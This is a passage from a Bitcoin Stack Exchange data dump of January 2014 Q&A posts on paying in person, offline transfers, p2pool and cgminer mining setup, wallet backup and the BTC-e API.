  <row Id="21436" PostTypeId="2" ParentId="21432" CreationDate="2014-01-31T06:52:32.703" Score="2" Body="&lt;p&gt;If you already have bitcoins you might do following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way (or the most common) is to use wallet in your smartphone and do transaction through mobile.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Scan receivers QR code to your smartphone wallet&lt;/li&gt;&#xA;&lt;li&gt;Send bitcoins&lt;/li&gt;&#xA;&lt;li&gt;Wait until your transaction receives enough confirmations - can be cheched at www.blockchain.com just by entering your address and finding up the latest transaction. (don't get scared if the transaction doesn't show up within minutes it might get also hours depending on your transaction fees - the higher the fee is the faster confirmation proccess will be) With 0.001 BTC fee the transaction will show up in the next block.&lt;/li&gt;&#xA;&lt;li&gt;Obtain bought item&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In case that you don't have smartphone, bring your laptop to place, where you can acccess internet connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to get receivers public address to send bitcoins to - with smartphone you just scan address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you dont have bitcoins you will need to buy some through exchange or localbitcoins.com.&lt;/p&gt;&#xA;" OwnerUserId="6540" LastEditorUserId="6540" LastEditDate="2014-01-31T06:58:57.957" LastActivityDate="2014-01-31T06:58:57.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21437" PostTypeId="2" ParentId="21432" CreationDate="2014-01-31T06:56:00.897" Score="0" Body="&lt;p&gt;I think that the best way would be for both of you to have some way of being able to send and receive bitcoins on your phone. In person you could then send eachother the coins, then once the other person gets them, then they could hand you the goods. &lt;/p&gt;&#xA;" OwnerUserId="12920" LastActivityDate="2014-01-31T06:56:00.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21438" PostTypeId="2" ParentId="21428" CreationDate="2014-01-31T07:08:05.360" Score="2" Body="&lt;p&gt;I recently heard of &lt;a href=&quot;http://coingen.io/&quot; rel=&quot;nofollow&quot;&gt;www.coingen.io&lt;/a&gt; which enables to create your own crypto currency within minutes for minimum fee. (For minimum fee regarding the the you will be spending creating your own coin c. 50 USD)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like also to inform you that if you are seeing any investment/profit potential that we already have more than 100 so called &lt;a href=&quot;http://coinmarketcap.com/&quot; rel=&quot;nofollow&quot;&gt;altcoins&lt;/a&gt; which are all almost the same with minumum differences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are a bit programming skilled the complete guide is on &lt;a href=&quot;https://bitcointalk.org/index.php?topic=225690.0&quot; rel=&quot;nofollow&quot;&gt;bitcointalk&lt;/a&gt; forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Commit this code on &lt;a href=&quot;https://github.com/bfroemel/smallchange/commit/947a0fafd8d033f6f0960c4ff0748f76a3d58326&quot; rel=&quot;nofollow&quot;&gt;GitHub&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6540" LastEditorUserId="6540" LastEditDate="2014-01-31T07:29:38.610" LastActivityDate="2014-01-31T07:29:38.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21439" PostTypeId="2" ParentId="13241" CreationDate="2014-01-31T07:14:56.473" Score="2" Body="&lt;p&gt;Copy these files to a exact Bitcoin Data folder on your Ubuntu (~/.bitcoin/) and then run client to download the latest blocks available. To synchronize with the blockchain run bitcoind with command -reindex &lt;code&gt;bitcoind -reindex&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6540" LastEditorUserId="6540" LastEditDate="2015-02-04T11:08:48.447" LastActivityDate="2015-02-04T11:08:48.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21440" PostTypeId="2" ParentId="21427" CreationDate="2014-01-31T07:50:50.313" Score="2" Body="&lt;p&gt;There is one way though. If you want to give someone a few bitcoins, pre create a new address and transfer those many bitcoins to it, and when you meet him when there is no internet access, give him the private key of the new bitcoin address. This way, you can give bitcoins even if there is no internet access.&lt;/p&gt;&#xA;" OwnerUserId="11969" LastActivityDate="2014-01-31T07:50:50.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21442" PostTypeId="1" CreationDate="2014-01-31T08:01:57.833" Score="4" ViewCount="3025" Body="&lt;p&gt;Is there a forum post or website where all the altcoin networks.py settings are being shared? I can see the P2pool forks on Github where people commit their own networks.py settings back to their own repository but none are being merged back into the original forrestv/p2pool repository. For now, I am specifically searching for the Digibyte altcoin but would like to add the other altcoins later on as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am talking about this part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    litecoin=math.Object(&#xA;    PARENT=networks.nets['litecoin'],&#xA;    SHARE_PERIOD=15, # seconds&#xA;    CHAIN_LENGTH=24*60*60//10, # shares&#xA;    REAL_CHAIN_LENGTH=24*60*60//10, # shares&#xA;    TARGET_LOOKBEHIND=200, # shares&#xA;    SPREAD=3, # blocks&#xA;    IDENTIFIER='e037d5b8c6923410'.decode('hex'),&#xA;    PREFIX='7208c1a53ef629b0'.decode('hex'),&#xA;    P2P_PORT=9 338,&#xA;    MIN_TARGET=0,&#xA;    MAX_TARGET=2**256//2**20 - 1,&#xA;    PERSIST=True,&#xA;    WORKER_PORT=9327,&#xA;    BOOTSTRAP_ADDRS='...'.split(' '),&#xA;    ANNOUNCE_CHANNEL='#p2pool-ltc',&#xA;    VERSION_CHECK=lambda v: True,&#xA;    VERSION_WARNING=lambda v: 'Upgrade Litecoin to &amp;gt;=0.8.5.1!' if v &amp;lt; 80501 else None,&#xA;),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if none are being shared publicly, how do I edit the settings myself for the different altcoins? &lt;/p&gt;&#xA;" OwnerUserId="5070" LastActivityDate="2023-12-12T04:07:30.877" Title="Where to find P2pool networks.py settings for altcoins?" Tags="|p2pool|altcoin|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21444" PostTypeId="1" CreationDate="2014-01-31T09:34:31.090" Score="1" ViewCount="5484" Body="&lt;p&gt;I'm trying to mine on the middlecoin pool using the following command:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;cgminer --scrypt -o stratum+tcp://middlecoin.com:3333 -u&#xA;  1C7Ubg5VxvJyXYBT6neNVFgUVdgq1Kiy72 -p asdf&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and I do get the screen below, but I'm not seeing my bitcoin address appear on: &lt;a href=&quot;http://www.middlecoin.com/allusers.html&quot; rel=&quot;nofollow&quot;&gt;http://www.middlecoin.com/allusers.html&lt;/a&gt; (and I've waited a couple of hours)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; cgminer version 3.7.2 - Started: [2014-01-31 13:03:27]&#xA;--------------------------------------------------------------------------------&#xA; (5s):3.725K (avg):3.694Kh/s | A:0  R:0  HW:0  WU:3.4/m&#xA; ST: 2  SS: 0  NB: 398  LW: 1943  GF: 0  RF: 0&#xA; Connected to middlecoin.com diff 1.02K with stratum as user 1C7Ubg5VxvJyXYBT6ne&#xA; Block: 1e7643a6...  Diff:1.17K  Started: [14:56:27]  Best share: 313&#xA;--------------------------------------------------------------------------------&#xA; [P]ool management [G]PU management [S]ettings [D]isplay options [Q]uit&#xA; GPU 0:                | 3.703K/3.694Kh/s | A:0 R:0 HW:0 WU:3.4/m I: 8&#xA;--------------------------------------------------------------------------------&#xA;&#xA; [2014-01-31 14:51:52] Network diff set to 25&#xA; [2014-01-31 14:51:52] Stratum from pool 0 detected new block&#xA; [2014-01-31 14:51:56] Network diff set to 26&#xA; [2014-01-31 14:51:56] Stratum from pool 0 detected new block&#xA; [2014-01-31 14:52:04] Network diff set to 343&#xA; [2014-01-31 14:52:04] Stratum from pool 0 detected new block&#xA; [2014-01-31 14:53:46] Network diff set to 55&#xA; [2014-01-31 14:53:46] Stratum from pool 0 detected new block&#xA; [2014-01-31 14:54:08] Stratum from pool 0 detected new block&#xA; [2014-01-31 14:54:32] Network diff set to 1.17K&#xA; [2014-01-31 14:54:32] Stratum from pool 0 detected new block&#xA; [2014-01-31 14:55:19] Stratum from pool 0 detected new block&#xA; [2014-01-31 14:56:27] Stratum from pool 0 detected new block&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;When I exited, it showed :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...\cgminer-3.7.2-windows&amp;gt;cgminer --scrypt -o stratum+tcp://middlecoin.com:3333 -u 1C7Ubg5VxvJyXYBT6neNVFgUVdgq1Kiy72 -p asdf&#xA; [2014-01-31 15:49:18]&#xA;Summary of runtime statistics:&#xA;&#xA; [2014-01-31 15:49:18] Started at [2014-01-31 13:03:27]&#xA; [2014-01-31 15:49:18] Pool: stratum+tcp://middlecoin.com:3333&#xA;&#xA; [2014-01-31 15:49:18] Runtime: 2 hrs : 45 mins : 51 secs&#xA; [2014-01-31 15:49:18] Average hashrate: 3.7 Kilohash/s&#xA; [2014-01-31 15:49:18] Solved blocks: 0&#xA; [2014-01-31 15:49:18] Best share difficulty: 313&#xA; [2014-01-31 15:49:18] Share submissions: 0&#xA; [2014-01-31 15:49:18] Accepted shares: 0&#xA; [2014-01-31 15:49:18] Rejected shares: 0&#xA; [2014-01-31 15:49:18] Accepted difficulty shares: 0&#xA; [2014-01-31 15:49:18] Rejected difficulty shares: 0&#xA; [2014-01-31 15:49:18] Hardware errors: 0&#xA; [2014-01-31 15:49:18] Utility (accepted shares / min): 0.00/min&#xA;&#xA; [2014-01-31 15:49:18] Work Utility (diff1 shares solved / min): 3.53/min&#xA;&#xA; [2014-01-31 15:49:18] Stale submissions discarded due to new blocks: 0&#xA;&#xA; [2014-01-31 15:49:18] Unable to get work from server occasions: 0&#xA;&#xA; [2014-01-31 15:49:18] Work items generated locally: 2688&#xA; [2014-01-31 15:49:18] Submitting work remotely delay occasions: 0&#xA;&#xA; [2014-01-31 15:49:18] New blocks detected on network: 545&#xA;&#xA; [2014-01-31 15:49:18] Summary of per device statistics:&#xA;&#xA; [2014-01-31 15:49:18] GPU0                | (5s):3.741K (avg):3.703Kh/s | A:0 R:0 HW:0 WU:3.5/m&#xA; [2014-01-31 15:49:18]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12923" LastEditorUserId="5406" LastEditDate="2016-04-25T20:42:25.423" LastActivityDate="2016-04-25T20:42:25.423" Title="Is my cgminer (scrypt) working / Mining on middlecoin pool" Tags="|litecoin|miner-configuration|cgminer|scrypt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21445" PostTypeId="1" AcceptedAnswerId="21451" CreationDate="2014-01-31T10:48:15.813" Score="8" ViewCount="38658" Body="&lt;p&gt;AttackerAlice has a BTC Wallet with 0 BTC.&#xA;AccompliceBob has a BTC Wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to transfer 100 BTC from AttackerAlice to AccompliceBob? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose a BadMiner accepted this as a valid transaction, and puts this fake transaction into a block, how will it be detected and rejected?&lt;/p&gt;&#xA;" OwnerUserId="12927" LastEditorUserId="2306" LastEditDate="2014-09-13T19:46:31.370" LastActivityDate="2019-03-21T22:28:56.377" Title="Creating a fake transaction" Tags="|security|fraud|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21446" PostTypeId="2" ParentId="8111" CreationDate="2014-01-31T11:08:07.223" Score="1" Body="&lt;p&gt;The easiest way to create a bitcoin qr code is to use www.btcfrog.com/qr and just fill in the address and maybe amount boxes and press &quot;generate QR code&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also has an option to generate html code to embed on your site. The code is an image tag that references a php script so you can have javascript, asp, php etc change the amount and regenerate the &quot;image&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J6tFc.png&quot; alt=&quot;Btcfrog.com qr app download&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also makes it ideal for adding in BB-code or other kinds of posts.&lt;/p&gt;&#xA;" OwnerUserId="12928" LastEditorUserId="5406" LastEditDate="2014-01-31T14:36:26.913" LastActivityDate="2014-01-31T14:36:26.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21450" PostTypeId="2" ParentId="21445" CreationDate="2014-01-31T11:54:52.077" Score="5" Body="&lt;p&gt;This cannot happen because of &lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions&quot;&gt;the way each transaction is designed&lt;/a&gt;. Every single transaction must reference an output of another transaction. Essentially you can only spend the money that you already have. You cannot create BTC out of thin-air.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The consensus algorithm is programmed in all nodes to only create coins out of thin-air based on the &lt;a href=&quot;https://en.bitcoin.it/wiki/Coinbase&quot;&gt;coinbase&lt;/a&gt; transaction, and all the transaction fees available in that block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can't just transfer 100 BTC out of nowhere, because all the nodes in the network would invalidate your transaction and probably ban your IP if you try to do so.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-01-31T11:54:52.077" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="21451" PostTypeId="2" ParentId="21445" CreationDate="2014-01-31T12:27:38.103" Score="12" Body="&lt;p&gt;You can create fake transactions and blocks including fake transactions all day long if you want. Your problem would be getting other people to accept those blocks and they won't because they can very easily see that it contains fake (better word: invalid) transaction(s) and simply disregard those blocks completely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first invalid block wil never be accepted by any non-accomplice so it doesn't matter how many blocks are put on top of that, they won't be accepted either. &lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2014-01-31T12:27:38.103" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21452" PostTypeId="1" CreationDate="2014-01-31T14:09:36.027" Score="7" ViewCount="7816" Body="&lt;p&gt;I'm pretty sure I've read somewhere that BitCoins have an &quot;address&quot;, so they can be uniquely identified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to know is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Does each Satoshi have it's own unique identity?&lt;/li&gt;&#xA;&lt;li&gt;How is the identity of a Satoshi formatted? (providing 1 is true)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9342" LastEditorUserId="5406" LastEditDate="2014-01-31T14:43:11.793" LastActivityDate="2018-03-11T04:42:55.120" Title="Can each Bitcoin and Satoshi be uniquely identified?" Tags="|address|verification|satoshi|identity|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21454" PostTypeId="1" CreationDate="2014-01-31T14:30:49.017" Score="2" ViewCount="1111" Body="&lt;p&gt;I am wondering why cgminer is not accepting dns instead of IP addresses&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to allow a server by it's dns...is it possible?&lt;/p&gt;&#xA;" OwnerUserId="12774" LastActivityDate="2016-06-20T15:43:12.430" Title="cgminer api-allow using dns instead of IP address" Tags="|cgminer|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21456" PostTypeId="2" ParentId="21452" CreationDate="2014-01-31T14:44:45.670" Score="0" Body="&lt;p&gt;Each user of bitcoin need have at least one address to receive coins. I just created an address 18TGt8oGgLzkCpjxMbiRfvbDo9NqGisopp, which due to the properties of how it is generated, is presumed to be unique. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone sends me any bitcoin they will be taking a coin from an existing balance on THEIR account (another bitcoin address) which will need to be signed using their private key. Once the transaction has been broadcast to the network, it will eventually make it into a block which will allow you to then spend it by signing it over to someone else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While balances are generally expressed to users in whole bitcoin units, or sub units such as bitmil, transactions are expressed in satoshis. For example, if you were to give me a 1 bitcoin tip for this awesome answer :P the transaction would be of 100000000 to 18TGt8oGgLzkCpjxMbiRfvbDo9NqGisopp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information on transactions and how they work, you can check out this page on the bitcoin wiki: &lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Transactions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-01-31T14:44:45.670" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21457" PostTypeId="2" ParentId="21427" CreationDate="2014-01-31T14:55:23.840" Score="1" Body="&lt;p&gt;While this is possible it is a lot like a traditional check. For example, if we are both in a starbucks with no internet access (as is the case more and more), and I would like to reimburse you for the coffee you just purchased for me, having a satoshi client (original client), I can create a raw transaction from my wallet.dat file and the blockchain I have saved locally containing unspent coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is similar to a personal check. You can hold on to this signed transaction until you find a location with internet and then &quot;deposit&quot; it to the network. As with personal checks, at least in the US, if I am dishonest and either sign a bogus transaction, or spend the coins before you can deposit your signed transaction, the request will &quot;bounce&quot; and you will not get any coins. At least there's no overdraft ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tl;dr offline payments are possible however you should do so at your utmost discretion and only with people you know and trust fully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info on transactions and how they work here: &lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Transactions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-01-31T14:55:23.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21458" PostTypeId="2" ParentId="21452" CreationDate="2014-01-31T14:57:34.150" Score="0" Body="&lt;p&gt;No, coins are digital divisible units even when it's noun refers to a physical indivisible unit.&#xA;There are nothing like I have 1/2 of this coin and 1/4 of that other indeed even the balance concept it self is ill defined in bitcoin due to multiple signature transanctions and other type of scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your balance is just the amount of Bitcoin that you can spend with the private keys you have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other side as every transaction is traceable in the blockchain you can follow the trace of every generation transaction (the one that gives you the block reward) but there is nothing like a coin id.&lt;/p&gt;&#xA;" OwnerUserId="10574" LastActivityDate="2014-01-31T14:57:34.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21459" PostTypeId="2" ParentId="21452" CreationDate="2014-01-31T14:58:59.053" Score="8" Body="&lt;p&gt;Bitcoins and satoshis do not have unique identities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, Bitcoin balances are stored in uniquely identifiable &lt;strong&gt;&quot;transaction outputs&quot;&lt;/strong&gt; that can only be spent by the owner of the recipient address.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;&#xA;   Alice sends Bob 1 BTC, Bob uses it to send another payment.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;When Alice sends Bob a payment of 1 BTC, she signs a transaction that deducts 1 BTC from her funds and creates a new transaction output that is worth 1 BTC and can only be spent by Bob, the owner of the recipient address.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Bob now wants to send 0.4 BTC to Charles. The transaction output from Alice's transaction is now used to fund this new transaction. The transaction creates two new outputs: One with 0.4 BTC that is associated with Charles' address, and one with 0.6 BTC associated with Bob's address (it is the change). The first transaction output (from Alice's transaction) is consumed by the transaction.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Unspent Transaction Outputs are identified by the (unique) hash of the transaction they were created in, and their position in the list of outputs.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-05-13T08:15:20.880" LastActivityDate="2015-05-13T08:15:20.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21460" PostTypeId="2" ParentId="19646" CreationDate="2014-01-31T15:09:37.000" Score="0" Body="&lt;p&gt;Please do not use a web wallet if you are planning on sitting on your coins for 10 years. When you send coins to a web wallet or to any address you did not generate yourself, you are giving the spending power to another person. Just like when you deposit $100 in the bank they will use it for other things and in most certainty return you a different $100 should you go and withdraw it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download the original bitcoin-qt client and open it, it will begin to download blocks, but this is not important if you are planning on just sitting on your coin. On the first run the client will also generate some addresses for you, showing you the first one on the &quot;Receive&quot; tab. You can have your newly purchased coins sent to this address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are plenty of security steps to safeguard against loss, please read carefully and understand that if you lose access to your coins or if a mischievous person gains access to them, they will likely be gone forever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is strongly recommended you encrypt your wallet asap. Please pick a very long passphrase you can remember, at least 6 to 8 words. Be aware that forgetting this passphrase will likely result in the permanent loss of your coins (there is no &quot;Forgot Password&quot; option). If you have strongly encrypted your wallet, then it is pretty safe to put it in as many places as you can, since cracking a random 6 to 8 word password would take an unreasonably long time using traditional password cracking methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find your wallet file on windows by opening the file explorer and typing %appdata% in the path (where you usually see c:\user\documents, etc), then selecting the folder named &quot;Bitcoin&quot;. Inside this folder you will see a file called wallet.dat, this file can be placed in this folder on any other computer, giving this computer the ability to see and spend the coin associated with address on this wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should you decide not to encrypt your wallet, you can still copy it to a USB and put it in a safety deposit box, or somewhere else secure, but please be aware that any person who has access to an unencrypted wallet.dat can easily load it to their computer and send your bitcoin off into cyber-space.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-01-31T15:09:37.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21461" PostTypeId="2" ParentId="21399" CreationDate="2014-01-31T15:12:04.770" Score="1" Body="&lt;p&gt;This issue helped me solve my issue:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/MineForeman/minepeon-base/issues/13#issuecomment-33760864&quot; rel=&quot;nofollow&quot;&gt;https://github.com/MineForeman/minepeon-base/issues/13#issuecomment-33760864&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;running the command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo lsusb -v&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get this out put, is this correct?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;idVendor 0x03eb Atmel Corp.&#xA;idProduct 0x204b LUFA USB to Serial Adapter Project&#xA;bcdDevice 0.00&#xA;iManufacturer 1 BFMG&#xA;iProduct 2 Bitfury BF1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;add the lines below to this file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/etc/udev/rules.d/01-miner.rules&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;add these lines&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BF1&#xA;ATTRS{idVendor}==&quot;03eb&quot;, ATTRS{idProduct}==&quot;204b&quot;, SUBSYSTEMS==&quot;usb&quot;, ACTION==&quot;add&quot;, MODE=&quot;0666&quot;, GROUP=&quot;minepeon&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;rebooted the server and now I see my miner!&lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2014-01-31T15:12:04.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21462" PostTypeId="2" ParentId="21427" CreationDate="2014-01-31T15:22:20.590" Score="4" Body="&lt;p&gt;Yes, the simplest example is that you could create a paper wallet, send coins to that wallet, and give the paper wallet to your nephew.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this sense, the paper wallet act similar to a bearer bond. Whomever holds it, has access to the coins. The caveat is that your nephew has to trust that you don't spend the coins (since you have seen the private key).&lt;/p&gt;&#xA;" OwnerUserId="12939" LastActivityDate="2014-01-31T15:22:20.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21463" PostTypeId="2" ParentId="21169" CreationDate="2014-01-31T15:27:28.693" Score="2" Body="&lt;p&gt;It is secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;128-bit seed is at this time very secure. It is lower than a regular bitcoin address which is actually RIPMED-160(SHA-256), giving it 160 bits of entropy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brute forcing a 128 bits of entropy at this time would take around 1,440,000,000 years if every computer ever made was working on this single problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like most of these algorithms brute forcing is not the issue. Side channel attacks are usually the danger or if an error is found in the implementation, which none have been yet.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-01-31T15:27:28.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21464" PostTypeId="2" ParentId="18686" CreationDate="2014-01-31T16:31:51.640" Score="2" Body="&lt;p&gt;The exact problem you're facing regards the number of acceptable decimal digits in the &lt;code&gt;rate&lt;/code&gt; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're trying to submit an order on the &lt;code&gt;BTC/USD&lt;/code&gt; pair, which happens to have a max decimal allotment of 3. Meaning, you can submit an order for example 800.123, but NOT 800.1234 Not all pairs are the same. &lt;code&gt;LTC/USD&lt;/code&gt; can have 6 digits, most BTC based pairs can accept 5 digits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get a list of exact information regarding the individual pairs, use this public endpoint for a JSON object that gives you all the values:  &lt;a href=&quot;https://btc-e.com/api/3/info&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/api/3/info&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, all pairs' &lt;code&gt;amount&lt;/code&gt; fields can have a max of 8 decimals. You are rounding both the amount and rate to 4 digits. Fix the rate field and it should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please keep in mind when I say &quot;decimal places&quot; I mean actual number of digits after the period in a number. Not the numerical type &lt;code&gt;decimal&lt;/code&gt; that you are using. Using a &lt;code&gt;double&lt;/code&gt; or &lt;code&gt;float&lt;/code&gt; will work as well, provided they are rounded properly.&lt;/p&gt;&#xA;" OwnerUserId="12900" LastActivityDate="2014-01-31T16:31:51.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21465" PostTypeId="1" CreationDate="2014-01-31T16:52:22.523" Score="1" ViewCount="1121" Body="&lt;p&gt;It would appear there is no way of obtaining fill notifications for active orders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I am mistaken, please enlighten me!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When orders are submitted to a BTC-e account, either via API or their website, and they are NOT instantly filled, they get assigned an OrderID integer. I can query the authenticated API for account info, which will give me back a list of all Active Orders and associated OIDs, but aside from having my program maintain a list of what it &quot;thinks&quot; are Active, versus what actually is active on the account by sending a query every X seconds, I do not know of a simpler/faster way to determine what orders got filled or when.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also would like some clarification on the &lt;code&gt;status&lt;/code&gt; field of the order response from API. it would appear &lt;code&gt;0&lt;/code&gt; is &lt;code&gt;active&lt;/code&gt; and &lt;code&gt;1&lt;/code&gt; is &lt;code&gt;filled&lt;/code&gt;. What are the values for &lt;code&gt;partial fill&lt;/code&gt; and &lt;code&gt;cancelled&lt;/code&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a way to see &lt;code&gt;All&lt;/code&gt; orders on the website by going to &lt;code&gt;Finances&lt;/code&gt;-&gt;&lt;code&gt;Orders History&lt;/code&gt; and then the drop down for &lt;code&gt;Show All&lt;/code&gt;, is there a corresponding API call for that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to be able to monitor for partial and complete fills.&lt;/p&gt;&#xA;" OwnerUserId="12900" LastActivityDate="2016-05-21T07:44:34.313" Title="How to check status of an order on BTC-e API?" Tags="|api|btce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21466" PostTypeId="2" ParentId="21465" CreationDate="2014-01-31T17:04:40.950" Score="1" Body="&lt;p&gt;It appears you are looking at &quot;active orders&quot; if you are seeing this status. As per BTC-e API documentation (found at: &lt;a href=&quot;https://btc-e.com/api/documentation&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/api/documentation&lt;/a&gt;), you should be looking at trade history, which will show completed orders. Partial orders would show as individual trades on as the result e.g. if you place a sell/ask order 1 BTC @ $1000 and I were to place a buy/bid order of 0.1 BTC @ $1000 then you would see a trade of 0.1 BTC @ $1000 in your trade history, if I were to place the same order again against your 0.9 BTC remaining you would see two trades for 0.1 BTC @ $1000. This data is shown here for partial trades even if the order is still active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the standard output is limited to the 1000 most recent transactions, I would recommend making use of the 'from' parameter when scraping trade data. You can increase the number of results but BTC-e will likely place a limit on how much data can be 